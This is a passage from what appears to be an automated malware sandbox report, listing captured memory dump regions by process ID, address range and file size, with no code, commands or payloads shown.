                                                                                                                    300KB

                                                                                                                  • memory/344-191-0x0000022347B50000-0x0000022347BC0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/996-216-0x0000028903C30000-0x0000028903CA0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1172-228-0x0000020298280000-0x00000202982F0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1180-207-0x0000028C5D6B0000-0x0000028C5D720000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1352-197-0x000001F2F2790000-0x000001F2F2800000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1360-119-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1376-213-0x00000186BEA00000-0x00000186BEA70000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1384-150-0x0000000002CA5000-0x0000000002CA7000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1384-149-0x0000000002CA4000-0x0000000002CA5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1384-148-0x0000000002CA2000-0x0000000002CA4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1384-146-0x0000000002CA0000-0x0000000002CA2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1588-329-0x0000000002BB0000-0x0000000002CFA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    1.3MB

                                                                                                                  • memory/1588-330-0x0000000000400000-0x0000000002BA3000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.6MB

                                                                                                                  • memory/1888-135-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1964-202-0x0000011193180000-0x00000111931F0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/2104-136-0x0000000001200000-0x0000000001202000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2504-220-0x000002978EA40000-0x000002978EAB0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/2540-226-0x0000019891D20000-0x0000019891D90000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/2716-308-0x0000000002AC0000-0x0000000002AD7000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    92KB

                                                                                                                  • memory/2716-341-0x0000000002B40000-0x0000000002B55000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    84KB

                                                                                                                  • memory/2792-123-0x0000000000810000-0x0000000000812000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2796-219-0x000001FE32860000-0x000001FE328D0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/2804-225-0x000002603B7A0000-0x000002603B810000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/2856-201-0x00000272AB160000-0x00000272AB1D0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/2880-195-0x00000231434F0000-0x0000023143560000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/3176-114-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/3968-126-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    88KB

                                                                                                                  • memory/4928-302-0x0000000006BF0000-0x0000000006BF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/4928-340-0x0000000006BF3000-0x0000000006BF4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/4928-300-0x0000000006C00000-0x0000000006C01000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/4928-305-0x0000000007A90000-0x0000000007A91000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/4928-301-0x0000000007270000-0x0000000007271000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/4928-303-0x0000000006BF2000-0x0000000006BF3000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/4928-304-0x0000000007910000-0x0000000007911000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/4928-306-0x0000000007C00000-0x0000000007C01000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/5012-322-0x0000000000590000-0x00000000005A2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    72KB

                                                                                                                  • memory/5012-320-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/5024-289-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    48KB

                                                                                                                  • memory/5056-160-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/5056-161-0x00000000005B0000-0x00000000005C2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    72KB

                                                                                                                  • memory/5192-185-0x0000000003290000-0x00000000033DA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    1.3MB

                                                                                                                  • memory/5192-189-0x0000000004C80000-0x0000000004CDC000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    368KB

                                                                                                                  • memory/5304-262-0x0000017986490000-0x0000017986591000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    1.0MB

                                                                                                                  • memory/5304-212-0x0000017983FD0000-0x0000017984040000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/5600-343-0x0000000006682000-0x0000000006683000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/5600-349-0x0000000006683000-0x0000000006684000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/5600-342-0x0000000006680000-0x0000000006681000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/5696-286-0x0000000004720000-0x00000000047B1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    580KB

                                                                                                                  • memory/5696-287-0x0000000000400000-0x0000000002BF4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    40.0MB

                                                                                                                  • memory/5744-293-0x0000000002C00000-0x0000000002C0C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    48KB

                                                                                                                  • memory/5980-245-0x0000000003710000-0x0000000003720000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/5980-239-0x0000000003570000-0x0000000003580000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/6028-351-0x0000000006A32000-0x0000000006A33000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/6028-350-0x0000000006A30000-0x0000000006A31000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB